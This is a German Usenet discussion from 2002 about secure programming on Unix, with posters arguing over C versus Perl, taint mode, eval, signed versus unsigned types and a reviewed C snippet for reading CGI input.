> und C dazu benutzen.

Es geht noch viel bequemer: Man muß das Programm von jemand anderem
schreiben lassen, dann macht man selber gar keine Fehler. Solange Perl
nicht wenigstens einen funktionierenden Bytecode-Compiler hat (was
für 5 nicht generell der Fall ist), ist es für bestimmte
Aufgabenstellungen unbrauchbar. Dito für zuverlässig 'core
dump'-freies signal handling. Oder octet-weisen Datenzugriff.

Ach ja, und könnte, was Du für 'schwer' ansiehst, vielleicht eine
Aussage über Dich sein?

Rudolf Polzer

unread,
Aug 17, 2002, 7:11:52 AM8/17/02
to
Scripsit illa aut ille Ulli Horlacher <fram...@bofh.BelWue.DE>:
> Immo 'FaUl' Wehrenberg <im...@faul.dyndns.org> wrote:
>
> >>> Wieso nicht? DoS ist nicht vermeidbar.
> >> Es ist vermeidbar unter VMS.
> >
> > --verbose --debug
>
> help privileges
> help security
> help restriced

Und wie hilft das gegen DoS? Man kann einen DoS nur schwerer machen,
damit aber nicht völlig vermeiden. Was das Provozieren von Timeouts
durch massive Erhöhung der Systemlast hier ausschließen soll, sehe ich
nicht. Ich sehe auch nicht, was hier verhindern soll, dass ein
Serverprozess aufgrund eines Fehlers in diesem abschmiert. Und was eine
Überlastung der Leitung verhindern soll, ist mir auch unklar.

--
Oh my god! They killed the idle task! Those bastards!

Ulli Horlacher

unread,
Aug 17, 2002, 7:59:26 AM8/17/02
to
Rainer Weikusat <weik...@students.uni-mainz.de> wrote:

> Könntest Du micht bitte mal erleuchten, wie man 'Interprozeßraces'
> durch 'geeignetetes _Sprach_design' verhindert

Davon hab ich nichts geschrieben.


> Der 'tainted'-Modus in Perl trägt nichts dazu bei, irgendjemand dazu
> zu bekommen, vernünftig mit Eingabedaten aus einer nicht
> vertrauenswürdigen Quelle umzugehen.

Ich hab das auch nie behauptet. Aber es hilft offensichtliche Fehler
aufzudecken, vor allem von Programmieranfaengern.


>> Es ist vermeidbar unter VMS.
>>
>> > Wie verhindert VMS race conditions?
>>
>> Bei TMP-Files dadurch dass es kein shared TMP Bereich gibt. Dass unter
>> UNIX praktisch jedes Programm nach /tmp schreiben will und kann
>> verursachte bestimmt 20% aller CERT Meldungen der letzten Zeit (die UNIX
>> betreffen).
>
> Sehr lustig.

Ich finde diese Fehler gar nicht lustig. Deswegen muss ich wertvolle Zeit
opfern und staendig Patches einspielen.


> Von mehreren Prozeßen benutzbare Dateisystemebereiche
> irgendeiner Coleur gibt es aber?

Wir redeten von unterschiedelichen Usern, nicht von Prozessen.
Weitere Fragen dieser Art sollten besser in de.comp.os.vms gefuehrt
werden, sie haben nichts mehr mit UNIX zu tun.

>> Man muss sich aber nicht noch absichtlich das Leben schwer machen
>> und C dazu benutzen.
>
> Es geht noch viel bequemer: Man muß das Programm von jemand anderem
> schreiben lassen, dann macht man selber gar keine Fehler.

Oder erst gar keine Computer einsetzen. Das ist genauso realistisch.


> Solange Perl nicht wenigstens einen funktionierenden Bytecode-Compiler
> hat (was für 5 nicht generell der Fall ist), ist es für bestimmte
> Aufgabenstellungen unbrauchbar.

Viele brauchen keinen Bytecode-Compiler. In meine Abteilung wird so gut
wie alles in Perl gemacht und wir sind froh drum (u.a. wegen Security).
Bei anderen ISPs siehts aehnlich aus.


> Ach ja, und könnte, was Du für 'schwer' ansiehst, vielleicht eine
> Aussage über Dich sein?

Auch. Die allermeisten (C-) Programme, die ich mir bisher angeschaut habe
enthielten aber haarstraeubende Security-Bugs.

Christian Kruse

unread,
Aug 17, 2002, 8:05:20 AM8/17/02
to
Hallo,

Rudolf Polzer wrote:
> 2. eval"" *ist* trotzdem ein Securityproblem, weil es oft falsch verwendet
> wird, und ich frage mich ernsthaft, wieso es nach wie vor in Perl
> enthalten ist. Den einzigen Sinn von eval"" könnte man durch eine
> kleine Änderung der Sprache beseite räumen, indem man nämlich ein
> sinnvolles Interface zum Laden von Perlmodulen zur Laufzeit anbietet.

Oh, der Grund ist recht einfach. Die einzige Moeglichkeit, unter Perl
ein Beendes des Scripts durch z. B. nicht implementierte Systemcalls
abzufangen (z. B. ein setpriority() unter Windows) ist eval. Natuerlich
koennte man try-catch einfuehren...

Gruesse,
CK

Rainer Weikusat

unread,
Aug 17, 2002, 9:19:09 AM8/17/02
to
Ulli Horlacher <fram...@bofh.BelWue.DE> writes:
> > Solange Perl nicht wenigstens einen funktionierenden Bytecode-Compiler
> > hat (was für 5 nicht generell der Fall ist), ist es für bestimmte
> > Aufgabenstellungen unbrauchbar.
>
> Viele brauchen keinen Bytecode-Compiler. In meine Abteilung wird so gut
> wie alles in Perl gemacht und wir sind froh drum (u.a. wegen Security).
> Bei anderen ISPs siehts aehnlich aus.

Meiner (begrenzten) Erfahrung nach gibt es zwei Bereiche, in denen
Perl schlecht zu gebrauchen ist:

- für Aufgaben, die mit jeweils kleinen Eingabedatenmengen
sehr häufig (ggf parallell) durchgeführt werden müssen (wg
Übersetzungsoverhead und Speicherbedarf)

- für 'Netz' unterhalb von IP: Da bringt es nicht viel, aber
kostet enorm.

> Die allermeisten (C-) Programme, die ich mir bisher angeschaut habe
> enthielten aber haarstraeubende Security-Bugs.

Es gibt Gegenbeispiele, die mit einer gewissen Penetranz durchs Usenet
geistern.

Rudolf Polzer

unread,
Aug 17, 2002, 9:55:33 AM8/17/02
to
Scripsit illa aut ille Christian Kruse <ckr...@wwwtech.de>:

Dafür reicht auch das ungefährliche eval{}. Es gibt nun einmal zwei
evals: eins mit String (das ist das "evil eval") und eins mit Block.
Letzteres ist sicher und ersteres u.a. daran schuld, dass man Perl nicht
sinnvoll kompilieren kann.

--
Doch - alles, was dazu mich trieb,
Gott! war so gut! ach, war so lieb!

Rainer Weikusat

unread,
Aug 17, 2002, 11:35:35 AM8/17/02
to
Rudolf Polzer <AntiATFiel...@durchnull.de> writes:
> Dafür reicht auch das ungefährliche eval{}. Es gibt nun einmal zwei
> evals: eins mit String (das ist das "evil eval") und eins mit Block.
> Letzteres ist sicher und ersteres u.a. daran schuld, dass man Perl nicht
> sinnvoll kompilieren kann.

Erzähl das bloß niemandem, der in Lisp programmiert ...

Rudolf Polzer

unread,
Aug 17, 2002, 12:14:36 PM8/17/02
to
Scripsit illa aut ille Rainer Weikusat <weik...@students.uni-mainz.de>:

Wieso? Hat Lisp ein solches eval"" - und wenn ja, was macht der Compiler
(für Common Lisp gibt es welche) daraus?

Unter "sinnvoll kompilieren" habe ich insbesondere verstanden, dass
nicht der ganze Perlinterpreter dazugelinkt werden muss, sondern dass
ein unabhängiges Programm entsteht (wenn man z.B. nach C kompilieren
kann und das keine weiteren Libraryfunktionen als die in ANSI C99 und
POSIX definierten braucht, ist diese Eigenschaft erfüllt).

Dieses Dazulinken ist bei Sprachen, die ein solches eval"" haben, aber
zwingend notwendig. Wobei ich durchaus weiß, dass man Perl deutlich
besser kompilieren kann, als perlcc es tut.

--
> > > Maybe you are perfect - but your news reader is not.
> > BAH! Don't bother me with minor details!
> Are you filling my signature file?
I'm not touching your sig file! [Disaster and me in jae]

Rolf Magnus

unread,
Aug 18, 2002, 12:12:55 PM8/18/02
to
Rainer Weikusat wrote:

> benutzen. Man verwendet keine vorzeichenbehafteten Typen, außer als
> Flags (dh der numerische Wert ist egal) oder falls man spezifisch
> Vorzeichen benötigt.

Das habe ich genau andersrum gelernt.

Peter J. Holzer

unread,
Aug 18, 2002, 6:33:59 PM8/18/02
to
On 2002-08-16 11:20, Rainer Weikusat <weik...@students.uni-mainz.de> wrote:
> Rudolf Polzer <AntiATFiel...@durchnull.de> writes:
>> Scripsit illa aut ille Rainer Weikusat <weik...@students.uni-mainz.de>:
>> > Ulli Horlacher <fram...@bofh.BelWue.DE> writes:
>> > > perl -T
>> > >
>> > > Das eliminiert schon mal 99% aller (Security) Designschwaechen von
>> > > C.
>> >
>> > ... und bekanntlich sind Perl-CGIs
>> ^^^^
>> > in 100% aller Fälle trotz forced taint checking fehlerfrei und müssen
>> > nie wegen 'potentiell sicherheitsrelevanten' Programmierfehlern
>> > ersetzt werden ...
>>
>> Die dann auftretenden Fehler liegen größtenteils daran,
>
> Fehler 'treten nicht auf' sondern werden samt und sonders manuell
> entwickelt.

Yep.

> Insbesondere in C kann es lächerlich einfach sein, relativ
> kleine sichere Programme zu schreiben, weil man die komplette
> Laufzeitumgebung kontrolliert und zweifelhafte Bibliotheksroutinen
> (stdio) unkompliziert umgehen kann.

Es kann auch lächerlich einfach sein, daran zu scheitern, wie Du hier
demonstrierst:

> Falls ich ein 'Benutzername/ Paßwort'-Paar annehmen möchte, ist sowas
> zB
>
> static content_len_t get_request_len(void)
> {
> char const *env;
> content_len_t len = 0;
>
> env = getenv(CGI_LEN);
> if (env) len = strtoul(env, NULL, 10);
>
> if (len > CONTENT_MAX) die("get_len: Content length too big");

^^^^^^^^^^^
Vermutlich ist das die Länge des Buffers, der weiter unten beschrieben
wird.

> [...]
>
> static content_len_t read_cgi_input(char *buf)

^^^^^^^^^
Ein Pointer, der irgendwohin zeigt, wo wir dann irgendwas hin schreiben.
Wir können vermuten, dass buf auf ein char array von CONTENT_MAX bytes
zeigt, weil das das der maximale Wert ist, den get_request_len
zurückliefert. Damit ist die Definition von CONTENT_MAX, die Definition
des Buffers, der vermutlich so lang sein soll, die Überprüfung, ob
auch wirklich nur so viel zu lesen ist und der tatsächliche Lesevorgang
auf 4 verschiedene Stellen aufgeteilt. Spätestens der übernächste, der
das Programm warten soll, ändert eine davon, ohne an die anderen zu
denken.

> {
> content_len_t request_len;
> ssize_t rc;
>
> basic_sanity_checks();
> request_len = get_request_len();
>
> rc = read(STDIN_FILENO, buf, request_len);
> if (rc == -1) die("read_cgi: read: %m");
> if (rc < request_len) die("read_cgi: Short read");

^^^^^^^^^^^^^^^^^^^^^^^^^^

Da wird Dein Programm reinrasseln, sobald der Input etwas länger wird
als Dein 'Benutzername/ Paßwort'-Paar. Wenn Du Glück hast, tut es das
reproduzierbar, so dass Du den Fehler auch findest.

hp


--
_ | Peter J. Holzer | Schlagfertigkeit ist das, was einem
|_|_) | Sysadmin WSR | auf dem Nachhauseweg einfällt.
| | | h...@hjp.at | -- Lars 'Cebewee' Noschinski in dasr.
__/ | http://www.hjp.at/ |

Immo 'FaUl' Wehrenberg

unread,
Aug 18, 2002, 8:57:03 PM8/18/02
to
begin followup to the posting of Rolf Magnus

Das macht andersrum aber keinen sinn.


FaUl
end
This article does not support incompatible and broken newsreaders.
--

Am Ende kommst du mir noch mit der Theorie, daß die Erde gar nicht der
Mittelpunkt des Universums ist! Lächerlich. Ketzern wie dir wünsche
ich manchmal, daß sie vom Rand der Erdscheibe herunterfallen!
[Felix von Leitner in dasr]

Rudolf Polzer

unread,
Aug 19, 2002, 3:12:12 AM8/19/02
to
Scripsit ille Immo 'FaUl' Wehrenberg <im...@faul.dyndns.org>:

> begin followup to the posting of Rolf Magnus
> > Rainer Weikusat wrote:
> >> benutzen. Man verwendet keine vorzeichenbehafteten Typen, außer als
> >> Flags (dh der numerische Wert ist egal) oder falls man spezifisch
> >> Vorzeichen benötigt.
> > Das habe ich genau andersrum gelernt.
>
> Das macht andersrum aber keinen sinn.

Fast keinen.

Angeblich gibt es Prozessoren, auf denen gewisse signed-Operationen
schneller laufen als die entsprechenden unsigned-Operationen. *Dann*
hätte man einen Grund.

Außerdem sind Programmierer tippfaul, und 'unsigned' ist viel länger als
'int'. Auf die Idee, einen typedef dafür zu schreiben, kommt man
natürlich nicht. Leider. Wenn int unsigned per Default wäre, würden viel
weniger Programme einen vorzeichenbehafteten Typ verwenden.

--
LATIN LESSON:
I hear, Audio,
I see, ---> Video,
I learn! Disco! [Robin Koch in de.talk.jokes, translated]

Jens Schweikhardt

unread,
Aug 19, 2002, 3:15:00 AM8/19/02
to
Immo 'FaUl' Wehrenberg <im...@faul.dyndns.org> wrote
in <slrnam0gi...@benabuFaUl.schliepstr.holomann.de>:
...
# Das macht andersrum aber keinen sinn.

http://www.schweikhardt.net/wider-die-sinnmacher.html :-)

Regards,

Jens
--
Jens Schweikhardt http://www.schweikhardt.net/
SIGSIG -- signature too long (core dumped)

Rainer Weikusat

unread,
Aug 19, 2002, 3:54:33 AM8/19/02
to
hjp-u...@hjp.at (Peter J. Holzer) writes:
> > Falls ich ein 'Benutzername/ Paßwort'-Paar annehmen möchte, ist sowas
> > zB
> >
> > static content_len_t get_request_len(void)
> > {
> > char const *env;
> > content_len_t len = 0;
> >
> > env = getenv(CGI_LEN);
> > if (env) len = strtoul(env, NULL, 10);
> >
> > if (len > CONTENT_MAX) die("get_len: Content length too big");
> ^^^^^^^^^^^
> Vermutlich ist das die Länge des Buffers, der weiter unten beschrieben
> wird.
>
> > [...]
> >
> > static content_len_t read_cgi_input(char *buf)
> ^^^^^^^^^
> Ein Pointer, der irgendwohin zeigt, wo wir dann irgendwas hin schreiben.
> Wir können vermuten, dass buf auf ein char array von CONTENT_MAX bytes
> zeigt, weil das das der maximale Wert ist, den get_request_len
> zurückliefert. Damit ist die Definition von CONTENT_MAX, die Definition
> des Buffers, der vermutlich so lang sein soll, die Überprüfung, ob
> auch wirklich nur so viel zu lesen ist und der tatsächliche Lesevorgang
> auf 4 verschiedene Stellen aufgeteilt.

Der Sinn von 'Konstanten' ist Dir bekannt? Von welcher 'Überprüfung'
sprichst Du?

> Spätestens der übernächste, der das Programm warten soll, ändert
> eine davon, ohne an die anderen zu denken.

Wie denn zB?

/* main */
int main()
{
char buf[CONTENT_MAX + 1];

'Sieht irgendwie blöd aus, schreiben wir mal drei rein'?

> > content_len_t request_len;
> > ssize_t rc;
> >
> > basic_sanity_checks();
> > request_len = get_request_len();
> >
> > rc = read(STDIN_FILENO, buf, request_len);
> > if (rc == -1) die("read_cgi: read: %m");
> > if (rc < request_len) die("read_cgi: Short read");
> ^^^^^^^^^^^^^^^^^^^^^^^^^^
>
> Da wird Dein Programm reinrasseln, sobald der Input etwas länger wird
> als Dein 'Benutzername/ Paßwort'-Paar.

Kannst Du mir mal erklären, wovon Du redest? Momentan kommt hier nur
'falls das, was eigentlich blau ist, in Wirklichkeit grün wäre, dann
könnte das, was da drüben vielleicht orangefarben sein könnte ...' an.

Die Antwort heißt dann 'meinetwegen'. Ich bin schließlich nicht
gezwungen, irgendwen von irgendwas zu überzeugen und das die ~1200
Leute, die sich darüber seit vorletztes Jahr Winter täglich 'fürs
Internet' anmelden, das seitdem zügig und problemfrei tun können, ist
auch schon was.

Rainer Weikusat

unread,
Aug 19, 2002, 4:01:42 AM8/19/02
to
Rudolf Polzer <AntiATFiel...@durchnull.de> writes:
> Angeblich gibt es Prozessoren, auf denen gewisse signed-Operationen
> schneller laufen als die entsprechenden unsigned-Operationen. Dann
> hätte man einen Grund.

... ach ja: Und man macht keine bestußten 'Optimierungen' im
Promille-Bereich, außer es gibt einen wirklich guten Grund dafür.

Rainer Weikusat

unread,
Aug 19, 2002, 4:15:26 AM8/19/02
to
Rainer Weikusat <weik...@students.uni-mainz.de> writes:
> > > if (rc < request_len) die("read_cgi: Short read");
> > ^^^^^^^^^^^^^^^^^^^^^^^^^^
> >
> > Da wird Dein Programm reinrasseln, sobald der Input etwas länger wird
> > als Dein 'Benutzername/ Paßwort'-Paar.
>
> Kannst Du mir mal erklären, wovon Du redest? Momentan kommt hier nur
> 'falls das, was eigentlich blau ist, in Wirklichkeit grün wäre, dann
> könnte das, was da drüben vielleicht orangefarben sein könnte ...'
> an.

Vielleicht etwas ausführlicher: Das Protokoll schreibt exakt das
akzeptierte Verhalten vor. Aufgrund externer Umstände sind Datenmengen
von << 100 Zeichen/ Request garantiert. Prinzipiell ergeben sich zwei
Möglichkeiten:

1) ich behandle das als 'seltsamen Protokollfehler', der
potentiell absichtlich hervorgerufen worden sein könnte,
denn ich weiß, mit wem ich rede und was ich hören sollte.

2) ich lese in einer Schleife, bis ich soviele Daten
entgegengenommen habe, wie mir gesagt wurde, das ich
bekommen sollte. Dazu brauche ich dann natürlich noch ein
Timeout, weil mich jemand einfach am langem Arm verhungern
wollen lassen könnte. Das bringt mir also non-blocking I/O
und Gerechne mit zweifelhafter Zuverlässigkeit ein, oder
alle möglichen lustigen races im Zusammenspiel
verschiedener unsychronisierter Ereignisse.

Praktisch tritt das Problem allerdings nicht auf und die Leseoperation
sollte es auch gar nicht erlauben. Was zu der Frage führt: Wozu?

Rolf Magnus

unread,
Aug 19, 2002, 4:37:20 AM8/19/02
to
Immo 'FaUl' Wehrenberg wrote:

> begin followup to the posting of Rolf Magnus
>> Rainer Weikusat wrote:
>>
>>> benutzen. Man verwendet keine vorzeichenbehafteten Typen, außer als
>>> Flags (dh der numerische Wert ist egal) oder falls man spezifisch
>>> Vorzeichen benötigt.
>> Das habe ich genau andersrum gelernt.
>
> Das macht andersrum aber keinen sinn.

Ich habe das unter anderem aus "The C++ Programming Lanugage" von
Stroustrup. Da sollte es auch keinen Unterschied zu C geben. Er schreibt
dort:

The unsigned integer types are ideal for uses that treat storage as a bit
array. Using an unsigned instead of an int to gain one more bit to
represent positive integers is almost never a good idea. Attempts to ensure
that some values are positive by declaring variables unsigned will
typically be defeated by the implicit conversion rules.

Und später bei den "Advices":
[18] Avoid unsigned arithmetic

Gunnar Ritter

unread,
Aug 19, 2002, 4:33:59 AM8/19/02
to
Jens Schweikhardt <use...@schweikhardt.net> wrote:

> Immo 'FaUl' Wehrenberg <im...@faul.dyndns.org> wrote
> in <slrnam0gi...@benabuFaUl.schliepstr.holomann.de>:
> ...
> # Das macht andersrum aber keinen sinn.
> http://www.schweikhardt.net/wider-die-sinnmacher.html :-)

Kannst Du mal aufhören, ständig Off-Topic-Postings mit Hinweisen
auf diese grandiose Lachnummer an inkompetenter Sprachspießerei
abzusetzen? Es will hier echt niemand alle paar Wochen vorgehalten
bekommen, daß Du weder von Philosophie noch von Linguistik noch
von Goethe etwas verstehst.

Gunnar

--
http://omnibus.ruf.uni-freiburg.de/~gritter/usenet.html

Peter J. Holzer

unread,
Aug 19, 2002, 5:33:50 AM8/19/02
to
On 2002-08-19 00:57, Immo 'FaUl' Wehrenberg <im...@faul.dyndns.org> wrote:
> begin followup to the posting of Rolf Magnus
>> Rainer Weikusat wrote:
>>
>>> benutzen. Man verwendet keine vorzeichenbehafteten Typen, außer als
>>> Flags (dh der numerische Wert ist egal) oder falls man spezifisch
>>> Vorzeichen benötigt.
>> Das habe ich genau andersrum gelernt.
>
> Das macht andersrum aber keinen sinn.

In C auf Grund der impliziten Umwandlungen schon. Ein unsigned short
wird beispielsweise in ein signed int umgewandelt, wenn sizeof(short) <
sizeof(int), sonst in ein unsigned int. Ein Vergleich zwischen einem
unsigned int und einem int wird unsigned durchgeführt.

In Code wie

typea_t a;
typeb_t b;

[...]

if (a < b) {
[...]
}

Hängt das Ergebnis nicht mehr von den Werten in a und b ab, sondern von
den tatsächlichen Typen. Du musst dann wissen, wie typea_t und typeb_t
definiert sind und wie sie auf der Maschine tatsächlich implementiert
sind, um das Ergebnis voraussagen zu können, was dem Sinn von typedefs
doch erheblich widerspricht. Wir haben seinerzeit beim Schreiben eines
Systemprogrammierungsskriptums ein paar pathologische Fälle gefunden,
bei denen es nicht möglich war, obigen Vergleich richtig und portabel zu
schreiben.

Moral von der Geschicht: Signed und Unsigned mixen ist Böse(TM).

Peter J. Holzer

unread,
Aug 19, 2002, 5:14:58 AM8/19/02
to
On 2002-08-19 07:54, Rainer Weikusat <weik...@students.uni-mainz.de> wrote:
> hjp-u...@hjp.at (Peter J. Holzer) writes:
>> > static content_len_t get_request_len(void)
>> > {
[...]

>> > if (len > CONTENT_MAX) die("get_len: Content length too big");
>> ^^^^^^^^^^^
>> Vermutlich ist das die Länge des Buffers, der weiter unten beschrieben
>> wird.
>>
>> > [...]
>> >
>> > static content_len_t read_cgi_input(char *buf)
>> ^^^^^^^^^
>> Ein Pointer, der irgendwohin zeigt, wo wir dann irgendwas hin schreiben.
>> Wir können vermuten, dass buf auf ein char array von CONTENT_MAX bytes
>> zeigt, weil das das der maximale Wert ist, den get_request_len
>> zurückliefert. Damit ist die Definition von CONTENT_MAX, die Definition
>> des Buffers, der vermutlich so lang sein soll, die Überprüfung, ob
>> auch wirklich nur so viel zu lesen ist und der tatsächliche Lesevorgang
>> auf 4 verschiedene Stellen aufgeteilt.
>
> Der Sinn von 'Konstanten' ist Dir bekannt? Von welcher 'Überprüfung'
> sprichst Du?

Der Überprüfung, ob 0 < len <= CONTENT_MAX, die in Wirklichkeit eine
Überprüfung sein sollte, ob len <= der Länge des Buffers ist, dessen
Adresse an read_cgi_input übergeben wurde.

Wenn Du die als

static content_len_t read_cgi_input(char *buf, content_len_t buflen)

statt

static content_len_t read_cgi_input(char *buf)

definierst, und dann immer mit

char buf[CONTENT_MAX + 1];

len = read_cgi_input(buf, sizeof(buf) - 1); /* das würde ich
übrigens auch nicht so machen, sondern read_cgi_input das '\0'
anhängen lassen */

aufrufst, wird zumindest die tatsächliche Länge des Buffers an
read_cgi_input übergeben und kann dort überprüft werden. Die relevanten
Daten liegen näher beisammen und sind daher für den Menschen leichter zu
verifizieren. Hast Du nicht etwas von "Textgliederung" geschrieben?


>> Spätestens der übernächste, der das Programm warten soll, ändert
>> eine davon, ohne an die anderen zu denken.
>
> Wie denn zB?
>
> /* main */
> int main()
> {
> char buf[CONTENT_MAX + 1];
>
> 'Sieht irgendwie blöd aus, schreiben wir mal drei rein'?

Ja, genau so. Ich will gar nicht wissen, in wievielen Programmen defines
wie SMALL_STRING_LEN, STRING_LEN, LARGE_STRING_LEN vorkommen, und dann
wird eine Funktion, der man einen Buffer von Länge STRING_LEN übergeben
sollte, nur mit einem von Länge SMALL_STRING_LEN aufgerufen ...


>> > basic_sanity_checks();
>> > request_len = get_request_len();
>> >
>> > rc = read(STDIN_FILENO, buf, request_len);
>> > if (rc == -1) die("read_cgi: read: %m");
>> > if (rc < request_len) die("read_cgi: Short read");
>> ^^^^^^^^^^^^^^^^^^^^^^^^^^
>>
>> Da wird Dein Programm reinrasseln, sobald der Input etwas länger wird
>> als Dein 'Benutzername/ Paßwort'-Paar.
>
> Kannst Du mir mal erklären, wovon Du redest?

Davon, dass read auch weniger Bytes zurückliefern kann als das Maximum,
auch wenn kein EOF eintritt. Insbesondere, wenn Du von Sockets oder
Pipes liest, musst Du damit rechnen, dass die Daten in beliebiger
Stückelung daherkommen.

Ich ziehe übrigens den Nebensatz mit beginnend mit "sobald ..." zurück.
Da wird Dein Programm reinrasseln. Punkt.

René Möhring

unread,
Aug 19, 2002, 6:06:08 AM8/19/02
to
On 19 Aug 2002 07:15:00 GMT
Jens Schweikhardt <use...@schweikhardt.net> wrote:

> Immo 'FaUl' Wehrenberg <im...@faul.dyndns.org> wrote
> in <slrnam0gi...@benabuFaUl.schliepstr.holomann.de>:
> ...
> # Das macht andersrum aber keinen sinn.
>
> http://www.schweikhardt.net/wider-die-sinnmacher.html :-)

Das "macht Sinn" ist Umgangssprache, und deine Postings daher sinnlos.

Ach und zu der Seite: Angelsachsen *sind* Germanen, weshalb solche
Unterscheidungen genauso sinnlos sind.

Alos laß den OT-Kampf gegen Windmühlen bitte, es bringt eh nichts,
niemandem!

Rene´

Gunnar Ritter

unread,
Aug 19, 2002, 7:02:39 AM8/19/02
to
Rainer Weikusat <weik...@students.uni-mainz.de> wrote:

> static content_len_t get_request_len(void)

Das Suffix _t ist für POSIX-Namen reserviert. Man sollte seine
eigenen Typen anders nennen, um mögliche Konflikte mit künftigen
POSIX-Versionen zu vermeiden.

Gunnar

--
http://omnibus.ruf.uni-freiburg.de/~gritter/usenet.html

Rainer Weikusat

unread,
Aug 19, 2002, 7:14:12 AM8/19/02
to
hjp-u...@hjp.at (Peter J. Holzer) writes:
> > Der Sinn von 'Konstanten' ist Dir bekannt? Von welcher 'Überprüfung'
> > sprichst Du?
>
> Der Überprüfung, ob 0 < len <= CONTENT_MAX, die in Wirklichkeit eine
> Überprüfung sein sollte, ob len <= der Länge des Buffers ist, dessen
> Adresse an read_cgi_input übergeben wurde.
>
> Wenn Du die als
>
> static content_len_t read_cgi_input(char *buf, content_len_t buflen)
>
> statt
>
> static content_len_t read_cgi_input(char *buf)
>
> definierst, und dann immer mit
>
> char buf[CONTENT_MAX + 1];
>
> len = read_cgi_input(buf, sizeof(buf) - 1); /* das würde ich
> übrigens auch nicht so machen, sondern read_cgi_input das '\0'
> anhängen lassen */
>
> aufrufst, wird zumindest die tatsächliche Länge des Buffers an
> read_cgi_input übergeben und kann dort überprüft werden.

Ich wiederhole mich nur ungern, aber der Zweck einer Konstanten liegt
darin, das ich *nicht* an fünfzehn Stellen im Quelltext eine Größe
ändern muß. Was natürlich niemanden daran hindert, es *trotzdem* zu
tun. Einen Sinn darin, konstante Größen als Parameter zu übergeben,
kann ich im Moment auch nicht erkennen. Das ist keine
Bibliotheksfunktion, die irgendeiner Allgemeinheitsanforderung genügen
müßte.

> Die relevanten Daten liegen näher beisammen und sind daher für den
> Menschen leichter zu verifizieren.

Es ist nicht notwendig, das ein Mensch 'verifizieren kann', das
unmögliche Ereignisse nicht auftreten.

> > Wie denn zB?
> >
> > /* main */
> > int main()
> > {
> > char buf[CONTENT_MAX + 1];
> >
> > 'Sieht irgendwie blöd aus, schreiben wir mal drei rein'?
>
> Ja, genau so. Ich will gar nicht wissen, in wievielen Programmen defines
> wie SMALL_STRING_LEN, STRING_LEN, LARGE_STRING_LEN vorkommen, und dann
> wird eine Funktion, der man einen Buffer von Länge STRING_LEN übergeben
> sollte, nur mit einem von Länge SMALL_STRING_LEN aufgerufen ...

Das ist allgemeines Gerede.

> >> > basic_sanity_checks();
> >> > request_len = get_request_len();
> >> >
> >> > rc = read(STDIN_FILENO, buf, request_len);
> >> > if (rc == -1) die("read_cgi: read: %m");
> >> > if (rc < request_len) die("read_cgi: Short read");
> >> ^^^^^^^^^^^^^^^^^^^^^^^^^^
> >>
> >> Da wird Dein Programm reinrasseln, sobald der Input etwas länger wird
> >> als Dein 'Benutzername/ Paßwort'-Paar.
> >
> > Kannst Du mir mal erklären, wovon Du redest?
>
> Davon, dass read auch weniger Bytes zurückliefern kann als das Maximum,
> auch wenn kein EOF eintritt. Insbesondere, wenn Du von Sockets oder
> Pipes liest, musst Du damit rechnen, dass die Daten in beliebiger
> Stückelung daherkommen.
>
> Ich ziehe übrigens den Nebensatz mit beginnend mit "sobald ..." zurück.
> Da wird Dein Programm reinrasseln. Punkt.

Wie anderswo ausgeführt, gibt es einen Gegensituation nämlich 'es
kommen nie soviele Daten, wie erwartet wurde'. Diese müßte andernfalls
entsprechend aufwendig behandelt werden. Die Frage ist zunächst mal:
Kommt das überhaupt vor? Falls ja, resultiert das in einem
entsprechenden Fehler. Dieser wäre ggf zu behandeln. Nur ist er das
nicht.

Damit möchte ich Dir nicht die Fähigkeit absprechen, Dir mit
entsprechend kreativer Phantasie etwas beliebiges auszudenken, was
unter bestimmten Umständen usw usf, aber das ist leider nicht mein
Problem und berührt das subject bestenfalls überhaupt nicht.


Frank Klemm

unread,
Aug 19, 2002, 7:22:05 AM8/19/02
to
On 19 Aug 2002 07:15:00 GMT, Jens Schweikhardt <use...@schweikhardt.net> wrote:
>Immo 'FaUl' Wehrenberg <im...@faul.dyndns.org> wrote
> in <slrnam0gi...@benabuFaUl.schliepstr.holomann.de>:
>...
># Das macht andersrum aber keinen sinn.
>
>http://www.schweikhardt.net/wider-die-sinnmacher.html :-)
>
Guter Artikel. Der Link darin war mir leider bekannt.

--
Frank Klemm

Rainer Weikusat

unread,
Aug 19, 2002, 7:28:20 AM8/19/02
to

Wie anderswo ausgeführt, gibt es einen Gegensituation nämlich 'es


kommen nie soviele Daten, wie erwartet wurde'. Diese müßte andernfalls
entsprechend aufwendig behandelt werden. Die Frage ist zunächst mal:

Passiert das überhaupt? Falls ja, resultiert das in einem


entsprechenden Fehler. Dieser wäre ggf zu behandeln. Nur ist er das

nicht. Unter anderen Umständen könnte das anders sein. SuSv2 meint dazu:

The value returned may be less than nbyte if the number of
bytes left in the file is less than nbyte, if the read()
request was interrupted by a signal, or if the file is a pipe
or FIFO or special file and has fewer than nbyte bytes
immediately available for reading.

'signal handling' mache ich keins und der andere Fall kommt unter den
gegebenen Randbedingungen nicht vor. Niemand verspricht mir, das er
nie vorkommt, aber das bleibt ein Problem, mit dem man sich dann
beschäftigen kann. Thema war außerdem ursprünglich mal 'Sicheres
programmieren' (in C), nicht 'Wahrscheinlichkeit, daß ein Datenblock,
der exakt einen Benutzernamen und ein Paßwort enthält, über eine pipe
in zwei Teilen übertragen wird'. In diesem Fall könnte sich dann ggf
jemand nicht anmelden (oder wenigstens nicht sofort). Bezüglich
'Sicherheit' uninteressant.

Felix von Leitner

unread,
Aug 19, 2002, 11:07:34 AM8/19/02
to
Thus spake Torsten Mohr (tm...@s.netic.de):
> wenn ich für Unix sichere Programme schreiben will (wenig Bugs,
> keine Sicherheitslücken (keine gibts wahrscheinlich nicht...)),
> was für Möglichkeiten hab ich denn da?

> Ich verwende z.B. "splint" (www.lclint.org), was gibt es denn
> sonst so, einerseits an Checkern, andererseits an zugelinkten
> Bibliotheken (z.B. für Speicherverwaltung) oder einfach an
> Sammlungen von Tipps oder Beispielen?

Sichere Programme schreibt man nicht wegen irgendwelcher T00lz, sondern
weil man weiß, was man tut. Werde ein guter und erfahrener
Programmierer, dann schreibst du automatisch sichere und zuverlässige
Programme.

> Hat da jemand Tipps?

Ja. Steig auf DYLAN oder ocaml um.

Felix

Felix von Leitner

unread,
Aug 19, 2002, 11:08:23 AM8/19/02
to
Thus spake Ulli Horlacher (fram...@bofh.BelWue.DE):
> Sicheren Code mit C zu realisieren ist extrem schwierig,

Nein.

> mit Perl nur schwierig.

Perl ist in C geschrieben, konzeptionell ist es also eine C Library.

Felix

Rudolf Polzer

unread,
Aug 19, 2002, 2:24:55 PM8/19/02
to
